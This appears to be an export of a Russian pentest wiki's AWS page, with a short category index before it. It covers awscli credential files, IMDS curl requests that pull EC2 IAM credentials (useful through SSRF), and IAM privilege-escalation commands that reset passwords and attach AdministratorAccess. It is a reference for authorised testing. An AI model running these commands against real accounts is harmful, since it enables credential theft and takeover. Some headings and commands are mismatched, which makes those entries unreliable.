В данной категории рассмотрим утилиты и общие способы изучения какого-либо сервера. &lt;br /&gt;
&lt;br /&gt;
* [[pentest_all|Общий план работы]]&lt;br /&gt;
&lt;br /&gt;
* [[port_scan| Все о сканнировании портов]]&lt;br /&gt;
&lt;br /&gt;
* [[bugbounty| Bugbounty one-lines]]&lt;br /&gt;
&lt;br /&gt;
* [[honeypot_hack| Детектирование honeypot'ов]]&lt;br /&gt;
&lt;br /&gt;
* [[hadoop | Apache Hadoop]]&lt;br /&gt;
&lt;br /&gt;
* [[kubernetes | Kubernetes]]&lt;br /&gt;
** [[kubernetes_api | Kubernetes API команды]]&lt;br /&gt;
** [[docker_escape | Docker escape]]&lt;br /&gt;
&lt;br /&gt;
* Windows&lt;br /&gt;
** [[amsi | AMSI]]&lt;br /&gt;
** [[clm | Constrained Language Mode]]&lt;br /&gt;
** [[applocker | AppLocker]]&lt;br /&gt;
** [[powershell_obfuscation| Обфускация PowerShell скрипта]]&lt;br /&gt;
** [[active_directory | Active Directory]]&lt;br /&gt;
&lt;br /&gt;
* Mobile&lt;br /&gt;
** [[android | Android]]&lt;br /&gt;
** [[ios | IOS]]&lt;br /&gt;
&lt;br /&gt;
* Облака&lt;br /&gt;
** [[aws | AWS]]&lt;br /&gt;
&lt;br /&gt;
* [[brute_force| Перебор параметров (логины/пароли/директории/...)]]&lt;br /&gt;
&lt;br /&gt;
* [[offline_bruteforce | Оффлайн перебор (хеши/токены)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/&lt;/div&gt;</summary>
		<author><name>Drakylar</name></author>	</entry>

	<entry>
		<id>http://itsecwiki.org/index.php?title=Aws&amp;diff=1233</id>
		<title>Aws</title>
		<link rel="alternate" type="text/html" href="http://itsecwiki.org/index.php?title=Aws&amp;diff=1233"/>
				<updated>2022-10-23T11:11:53Z</updated>
		
		<summary type="html">&lt;p&gt;Drakylar: /* Службы */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;AWS - Amazon Web Service. Одна из первых облачных систем, состоящая из многих сервисов, которые при некорректной настройке оставляют дыры в безопасности.&lt;br /&gt;
&lt;br /&gt;
= Организационные моменты =&lt;br /&gt;
&lt;br /&gt;
При проведении тестирования на проникновение, требуется предупредить AWS (составить заявку).&lt;br /&gt;
&lt;br /&gt;
Подробнее тут: https://aws.amazon.com/ru/security/penetration-testing/&lt;br /&gt;
&lt;br /&gt;
= Общие концепции =&lt;br /&gt;
&lt;br /&gt;
== Службы ==&lt;br /&gt;
&lt;br /&gt;
Концепция служб в AWS позволяет автоматизировать многие процессы, включая саму разработку архитектуры.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Это экосистема многих сервисов. И AWS стремится увеличить их количество.&lt;br /&gt;
&lt;br /&gt;
Например, связать сервис сбора логов и сервис по реагированию на инциденты, а результаты класть на сервис S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Регионы ==&lt;br /&gt;
&lt;br /&gt;
AWS разделен на регионы. Часть сервисов кросс-региональные, но большинство привязываются к конкретным регионам.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+Регионы AWS&lt;br /&gt;
|-&lt;br /&gt;
| '''Название региона'''&lt;br /&gt;
| '''Endpoint(HTTPS)'''&lt;br /&gt;
|-&lt;br /&gt;
|us-east-2&lt;br /&gt;
|rds.us-east-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds.us-east-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-2.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-east-1&lt;br /&gt;
|rds.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-1&lt;br /&gt;
|rds.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-west-2&lt;br /&gt;
|rds.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.us-west-2.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.us-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|af-south-1&lt;br /&gt;
|rds.af-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.af-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-east-1&lt;br /&gt;
|rds.ap-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-3&lt;br /&gt;
|rds.ap-southeast-3.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|ap-south-1&lt;br /&gt;
|rds.ap-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-3&lt;br /&gt;
|rds.ap-northeast-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-2&lt;br /&gt;
|rds.ap-northeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-1&lt;br /&gt;
|rds.ap-southeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-southeast-2&lt;br /&gt;
|rds.ap-southeast-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-southeast-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ap-northeast-1&lt;br /&gt;
|rds.ap-northeast-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ap-northeast-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|ca-central-1&lt;br /&gt;
|rds.ca-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.api.aws&lt;br /&gt;
&lt;br /&gt;
rds-fips.ca-central-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|eu-central-1&lt;br /&gt;
|rds.eu-central-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-central-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-1&lt;br /&gt;
|rds.eu-west-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-2&lt;br /&gt;
|rds.eu-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-2.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-south-1&lt;br /&gt;
|rds.eu-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-west-3&lt;br /&gt;
|rds.eu-west-3.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-west-3.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|eu-north-1&lt;br /&gt;
|rds.eu-north-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.eu-north-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|me-south-1&lt;br /&gt;
|rds.me-south-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.me-south-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|sa-east-1&lt;br /&gt;
|rds.sa-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
rds.sa-east-1.api.aws&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-east-1&lt;br /&gt;
|rds.us-gov-east-1.amazonaws.com&lt;br /&gt;
|-&lt;br /&gt;
|us-gov-west-1&lt;br /&gt;
|rds.us-gov-west-1.amazonaws.com&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Или только регионы (могут пригодиться при переборе):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
us-east-2&lt;br /&gt;
us-east-1&lt;br /&gt;
us-west-1&lt;br /&gt;
us-west-2&lt;br /&gt;
af-south-1&lt;br /&gt;
ap-east-1&lt;br /&gt;
ap-southeast-3&lt;br /&gt;
ap-south-1&lt;br /&gt;
ap-northeast-3&lt;br /&gt;
ap-northeast-2&lt;br /&gt;
ap-southeast-1&lt;br /&gt;
ap-southeast-2&lt;br /&gt;
ap-northeast-1&lt;br /&gt;
ca-central-1&lt;br /&gt;
eu-central-1&lt;br /&gt;
eu-west-1&lt;br /&gt;
eu-west-2&lt;br /&gt;
eu-south-1&lt;br /&gt;
eu-west-3&lt;br /&gt;
eu-north-1&lt;br /&gt;
me-south-1&lt;br /&gt;
sa-east-1&lt;br /&gt;
us-gov-east-1&lt;br /&gt;
us-gov-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Доступы ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Консольная утилита(awscli) ==&lt;br /&gt;
&lt;br /&gt;
Чаще всего для взаимодействия с сервисами AWS вам потребуется консольная утилита awscli.&lt;br /&gt;
&lt;br /&gt;
Утилита работает с настроенными профилями.&lt;br /&gt;
&lt;br /&gt;
=== Файлы ===&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/credentials ====&lt;br /&gt;
&lt;br /&gt;
Файл с учетными данными профилей.  Перефразирую: получив данные из этого файла вы, вероятнее всего, получите контроль над аккаунтами в нем.&lt;br /&gt;
&lt;br /&gt;
У каждого профиля будет указан:&lt;br /&gt;
&lt;br /&gt;
* Access Key ID - 20 случайных букв/цифр в верхнем регистре, часто начинается с &amp;quot;AKIA...&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Access Key - 40 случайных символов различного регистра.&lt;br /&gt;
&lt;br /&gt;
* Access Token - не всегда указывается&lt;br /&gt;
&lt;br /&gt;
Полный список параметров можно посмотреть тут: https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-files.html#cli-configure-files-settings&lt;br /&gt;
&lt;br /&gt;
Пример содержимого файла (сохранен профиль default):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
aws_access_key_id=AKIAIOSFODNN7EXAMPLE&lt;br /&gt;
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&lt;br /&gt;
aws_session_token = AQoEXAMPLEH4aoAH0gNCAPyJxz4BlCFFxWNE1OPTgk5TthT+FvwqnKwRcOIfrRh3c/LTo6UDdyJwOOvEVPvLXCrrrUtdnniCEXAMPLE/IvU1dYUg2RVAJBanLiHb4IgRmpRV3zrkuWJOgQs8IZZaIv2BXIa2R4Olgk&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/config ====&lt;br /&gt;
&lt;br /&gt;
Файл с региональными настройками профиля(регион по-умолчанию). &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
[default]&lt;br /&gt;
region=us-west-2&lt;br /&gt;
output=json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/cli/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные учетные данные&lt;br /&gt;
&lt;br /&gt;
==== ~/.aws/sso/cache ====&lt;br /&gt;
&lt;br /&gt;
Закешированные данные Single-Sign-On&lt;br /&gt;
&lt;br /&gt;
=== Команды ===&lt;br /&gt;
&lt;br /&gt;
Общее построение команды выглядит как:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws &amp;lt;название_сервиса&amp;gt; &amp;lt;действие&amp;gt; &amp;lt;дополнительные_аргументы&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Примеры:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Вывести все S3-хранилища.&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&lt;br /&gt;
# Создание нового пользователя - сервис IAM&lt;br /&gt;
aws iam create-user --user-name aws-admin2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IMDS (Instance Metadata Service) ==&lt;br /&gt;
&lt;br /&gt;
Это http API для запросов из EC2. Полезно если, например, у вас есть уязвимость SSRF в EC2.&lt;br /&gt;
&lt;br /&gt;
Есть 2 версии:&lt;br /&gt;
&lt;br /&gt;
*IMDSv1 - версия 1 по-умолчанию, не требует токен. &lt;br /&gt;
&lt;br /&gt;
*IMDSv2 - версия 2, для запросов требуется токен.&lt;br /&gt;
&lt;br /&gt;
Запрос без токена:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
curl http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Запрос с токеном:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
TOKEN=`curl -X PUT &amp;quot;http://169.254.169.254/latest/api/token&amp;quot; -H &amp;quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&amp;quot;` &amp;amp;&amp;amp; curl -H &amp;quot;X-aws-ec2-metadata-token: $TOKEN&amp;quot; -v http://169.254.169.254/latest/meta-data/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Кроме доп. информации можно получить access-token для доступа в AWS с сервисного аккаунта ec2 (только для IMDSv2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# В начале делаем запрос на директорию /security-credentials/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;br /&gt;
# Потом выбираем нужный аккаунт и делаем запрос на него&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/test-account&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример ответа:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{ &lt;br /&gt;
    &amp;quot;Code&amp;quot; : &amp;quot;Success&amp;quot;, &lt;br /&gt;
    &amp;quot;LastUpdated&amp;quot; : &amp;quot;2019-12-03T07:15:34Z&amp;quot;, &lt;br /&gt;
    &amp;quot;Type&amp;quot; : &amp;quot;AWS-HMAC&amp;quot;, &lt;br /&gt;
    &amp;quot;AccessKeyId&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;SecretAccessKey&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Token&amp;quot; : &amp;quot;xxxxxxxxxxxxxxxxxxxxx&amp;quot;, &lt;br /&gt;
    &amp;quot;Expiration&amp;quot; : &amp;quot;2019-12-03T13:50:22Z&amp;quot;&lt;br /&gt;
} &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
После чего эти учетные данные можно использовать с awscli.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Другие полезные Endpoint'ы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://169.254.169.254/&lt;br /&gt;
http://169.254.169.254/latest/user-data&lt;br /&gt;
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance&lt;br /&gt;
http://169.254.169.254/latest/meta-data/ami-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/reservation-id&lt;br /&gt;
http://169.254.169.254/latest/meta-data/hostname&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy&lt;br /&gt;
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access&lt;br /&gt;
http://169.254.169.254/latest/dynamic/instance-identity/document&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Ролевая модель =&lt;br /&gt;
&lt;br /&gt;
Почти все описание доступа идет через ролд. А роли в свою очередь состоят из двух типов политик:&lt;br /&gt;
&lt;br /&gt;
* trust policy - определяет, чья будет роль&lt;br /&gt;
&lt;br /&gt;
* permissions policy - определяет какой доступ будет у тех, у кого эта роль.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Каждая политика состоит из следующих компонентов:&lt;br /&gt;
&lt;br /&gt;
* Ресурс - цель, кому выдается правило. Может быть:&lt;br /&gt;
** Пользователь&lt;br /&gt;
** Группа, в которой могут быть аккаунты по какому то признаку&lt;br /&gt;
** Другая политика.&lt;br /&gt;
&lt;br /&gt;
* Роль(Action) - какое-либо действие (например, iam:ListGroupPolicies - посмотреть список груповых политик)&lt;br /&gt;
&lt;br /&gt;
* Тип правила(Effect) - разрешение или запрет.&lt;br /&gt;
&lt;br /&gt;
* Политика(Policy) - совокупность Роль(действие) -&amp;gt; разрешение/запрет -&amp;gt; Ресурс(кому).&lt;br /&gt;
&lt;br /&gt;
* Условия(Condition) - отдельные условия, например, ip.&lt;br /&gt;
&lt;br /&gt;
Пример политики:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;Version&amp;quot;: &amp;quot;2012-10-17&amp;quot;,  //Версия политики&lt;br /&gt;
    &amp;quot;Statement&amp;quot;: [  &lt;br /&gt;
        {&lt;br /&gt;
            &amp;quot;Sid&amp;quot;: &amp;quot;Stmt32894y234276923&amp;quot; //Опционально - уникальный идентификатор&lt;br /&gt;
            &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;, //Разрешить или запретить&lt;br /&gt;
            &amp;quot;Action&amp;quot;: [  //Разрешенные/Запрещенные действия&lt;br /&gt;
                &amp;quot;ec2:AttachVolume&amp;quot;,&lt;br /&gt;
                &amp;quot;ec2:DetachVolume&amp;quot;&lt;br /&gt;
            ], &lt;br /&gt;
            &amp;quot;Resource&amp;quot;: [ //На какие ресурсы можно/нельзя совершать действия&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:volume/*&amp;quot;,&lt;br /&gt;
                &amp;quot;arn:aws:ec2:*:*:instance/*&amp;quot;&lt;br /&gt;
            ],&lt;br /&gt;
            &amp;quot;Condition&amp;quot;: { //Опционально - условия срабатывания&lt;br /&gt;
                &amp;quot;ArnEquals&amp;quot;: {&amp;quot;ec2:SourceInstanceARN&amp;quot;: &amp;quot;arn:aws:ec2:*:*:instance/instance-id&amp;quot;}&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Определение ролей ==&lt;br /&gt;
&lt;br /&gt;
=== Вручную ===&lt;br /&gt;
TODO команды по определению своих ролей&lt;br /&gt;
&lt;br /&gt;
=== Автоматизированно ===&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
Когда вы определили, какие роли у вас есть, перейдите выше на соответствующий сервис, к которому идет данная роль и прочтите как ее эксплуатировать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Тут будут отдельные роли, которые не прикреплены ни к одному сервису.&lt;br /&gt;
&lt;br /&gt;
=== Административный доступ ===&lt;br /&gt;
&lt;br /&gt;
Как выглядит роль с административным доступом:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;json&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
&amp;quot;Statement&amp;quot;: [&lt;br /&gt;
    {&lt;br /&gt;
      &amp;quot;Effect&amp;quot;: &amp;quot;Allow&amp;quot;,&lt;br /&gt;
      &amp;quot;Action&amp;quot;: [&lt;br /&gt;
        &amp;quot;*&amp;quot;&lt;br /&gt;
      ],&lt;br /&gt;
      &amp;quot;Resource&amp;quot;: &amp;quot;*&amp;quot;&lt;br /&gt;
    }&lt;br /&gt;
]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Службы =&lt;br /&gt;
&lt;br /&gt;
== IAM ==&lt;br /&gt;
&lt;br /&gt;
Сервис по обеспечению контроля доступа. Подробнее про ролевую модель можно почитать в соответствующей главе.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Сбросить пароль у других пользователей:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam update-login-profile --user-name target_user --password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + ec2:RunInstance ====&lt;br /&gt;
&lt;br /&gt;
См. EC2&lt;br /&gt;
&lt;br /&gt;
==== iam:PassRole + glue:CreateDevEndpoint ====&lt;br /&gt;
&lt;br /&gt;
См. Glue&lt;br /&gt;
&lt;br /&gt;
==== iam:PutRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для роли.&lt;br /&gt;
&lt;br /&gt;
==== iam:PutGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику для группы.&lt;br /&gt;
&lt;br /&gt;
==== iam:PuserUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать или обновить inline-политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateAssumeRolePolicy + sts:AssumeRole ====&lt;br /&gt;
&lt;br /&gt;
Обновить документ &amp;quot;AssumeRolePolicyDocument&amp;quot; для роли.&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== iam:AddUserToGroup ====&lt;br /&gt;
&lt;br /&gt;
Добавить юзера в административную группу:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam add-user-to-group --group-name &amp;lt;название_группы&amp;gt; --user-name &amp;lt;логин&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:PutUserPolicy ====&lt;br /&gt;
&lt;br /&gt;
Право добавить своб политику к ранее скомпрометированным обьектам. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam put-user-policy --user-name &amp;lt;логин&amp;gt; --policy-name my_inline_policy --policy-document file://path/to/administrator/policy.json&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Привилегия для создания профиля(с паролем)  для аккаунта, выставить новый пароль и перейти под этого пользователя.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam create-login-profile --user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}&amp;lt;XT5isoE=LB2L^G@{uK&amp;gt;f;/CQQeXSo&amp;gt;}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U&amp;lt;9`O~Z”,jJ[iT-D^(' --no-password-reset-required&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:UpdateLoginProfile ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любому пользователю.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachGroupPolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой группе.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-user-policy --user-name my_username --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:AttachRolePolicy ====&lt;br /&gt;
&lt;br /&gt;
Добавить существующую политику к любой роли.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws iam attach-role-policy --role-name role_i_can_assume --policy-arn arn:aws:iam::aws:policy/AdministratorAccess&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicy ====&lt;br /&gt;
&lt;br /&gt;
Создать административную политику.&lt;br /&gt;
&lt;br /&gt;
==== iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion ====&lt;br /&gt;
&lt;br /&gt;
